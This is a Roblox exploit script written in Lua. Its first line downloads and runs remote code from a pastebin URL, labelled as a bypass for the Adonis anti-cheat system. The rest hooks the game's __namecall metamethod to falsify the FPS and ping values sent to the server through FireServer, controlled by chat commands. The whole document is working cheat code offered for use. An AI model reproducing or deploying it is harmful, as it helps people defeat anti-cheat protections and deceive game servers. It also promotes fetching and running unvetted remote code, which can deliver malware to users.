-- Adonis Bypass loadstring(game:HttpGet("https://pastebin.com/raw/RyhQJByy", true))() local FPS = { enabled = true, mode = "flicker", stable = 120, base = 120, range = 40, decimals = 0 } local PING = { enabled = true, mode = "flicker", stable = 20, base = 20, range = 5, decimals = 1 } local function clampNonNegative(v) return (v < 0) and 0 or v end local function round(val, decimals) local m = 10 ^ (decimals or 0) return math.floor(val * m + 0.5) / m end local function getValue(stat) if not stat.enabled then return nil end local val if stat.mode == "stable" then val = stat.stable else local delta = (math.random() * 2 - 1) * stat.range val = stat.base + delta end return clampNonNegative(round(val, stat.decimals)) end local function tokens(str) local t = {} for w in str:gmatch("%S+") do table.insert(t, w) end return t end local function handle(stat, list) local cmd = (list[1] or ""):lower() if cmd == "disable" then stat.enabled = false; return elseif cmd == "enable" then stat.enabled = true; return elseif cmd == "stable" then local v = tonumber(list[2]) if v then stat.mode = "stable" stat.stable = v stat.enabled = true end return elseif cmd == "flicker" then local base = tonumber(list[2]) local range = tonumber(list[3]) if base and range then stat.mode = "flicker" stat.base = base stat.range = math.abs(range) stat.enabled = true end return else local n = tonumber(cmd) if n then stat.mode = "stable" stat.stable = n stat.enabled = true end end end local lp = game:GetService("Players").LocalPlayer lp.Chatted:Connect(function(msg) local lower = msg:lower() local param if lower:sub(1,6) == "/e fps" then param = msg:sub(7) elseif lower:sub(1,4) == "/fps" then param = msg:sub(5) end if param then handle(FPS, tokens(param:match("^%s*(.-)%s*$"))) return end if lower:sub(1,7) == "/e ping" then param = msg:sub(8) elseif lower:sub(1,5) == "/ping" then param = msg:sub(6) end if param then handle(PING, tokens(param:match("^%s*(.-)%s*$"))) end end) local old old = hookmetamethod(game, "__namecall", newcclosure(function(self, ...) if not checkcaller() and getnamecallmethod() == "FireServer" then local args = { ... } if type(args[1]) == "table" then local v = getValue(FPS) if v then args[1].FPS = v end v = getValue(PING) if v then args[1].PING = v end end return old(self, unpack(args)) end return old(self, ...) end))